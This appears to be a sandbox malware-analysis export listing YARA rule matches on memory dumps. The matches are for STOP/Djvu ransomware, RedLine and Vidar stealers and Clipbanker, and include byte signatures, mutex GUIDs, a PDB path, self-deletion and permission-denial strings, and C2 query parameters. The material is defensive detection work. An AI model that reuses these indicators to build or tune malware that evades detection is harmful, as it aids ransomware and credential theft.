00000009.00000000.345188173.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000008.00000002.349827384.00000000004B9000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x15c8:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000004.00000002.348844154.000000000210E000.00000040.00000800.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000A.00000000.369240104.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000006.00000002.364455127.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000006.00000002.364455127.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000006.00000002.364455127.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000006.00000002.364455127.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000A.00000000.347031103.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000005.00000000.315044936.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000005.00000000.315044936.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000005.00000000.315044936.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000005.00000000.315044936.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000010.00000002.373204030.00000000020F3000.00000040.00000800.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000E.00000002.564552396.0000000000EE1000.00000020.00000001.01000000.00000008.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0xe03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000000E.00000002.564552396.0000000000EE1000.00000020.00000001.01000000.00000008.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xafa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 EE 00 6A 00 6A 00 FF 15 40 40 EE 00 FF 15 2C 40 EE 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 EE 00 0xb87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xb87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0xf35:$regex3: 56 8B F1 56 FF 15 20 40 EE 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000005.00000003.362157229.0000000003060000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
00000005.00000003.362157229.0000000003060000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000005.00000003.362157229.0000000003060000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000011.00000000.365343536.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000011.00000000.365343536.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000011.00000000.365343536.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000011.00000000.365343536.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000003.00000002.318350093.00000000020FB000.00000040.00000800.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000005.00000000.317037787.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000005.00000000.317037787.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000005.00000000.317037787.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000005.00000000.317037787.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000011.00000000.363751420.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000001.00000002.309064408.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000001.00000002.309064408.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000001.00000002.309064408.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000001.00000002.309064408.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000A.00000000.347942903.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000006.00000000.322395529.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000006.00000000.322395529.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000006.00000000.322395529.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000006.00000000.322395529.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000005.00000000.314284082.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000005.00000000.314284082.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000005.00000000.314284082.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000005.00000000.314284082.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000005.00000000.313991274.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000006.00000000.323671151.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000006.00000000.323671151.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000006.00000000.323671151.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000006.00000000.323671151.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000011.00000000.366169302.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000011.00000000.366169302.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000011.00000000.366169302.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000011.00000000.366169302.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000A.00000000.347322735.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000003.00000002.318481347.00000000021E0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000003.00000002.318481347.00000000021E0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000009.00000000.346399832.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000009.00000000.346399832.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000009.00000000.346399832.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000009.00000000.346399832.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000010.00000002.378615646.0000000002230000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000010.00000002.378615646.0000000002230000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000009.00000002.353616538.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000009.00000002.353616538.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000009.00000002.353616538.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
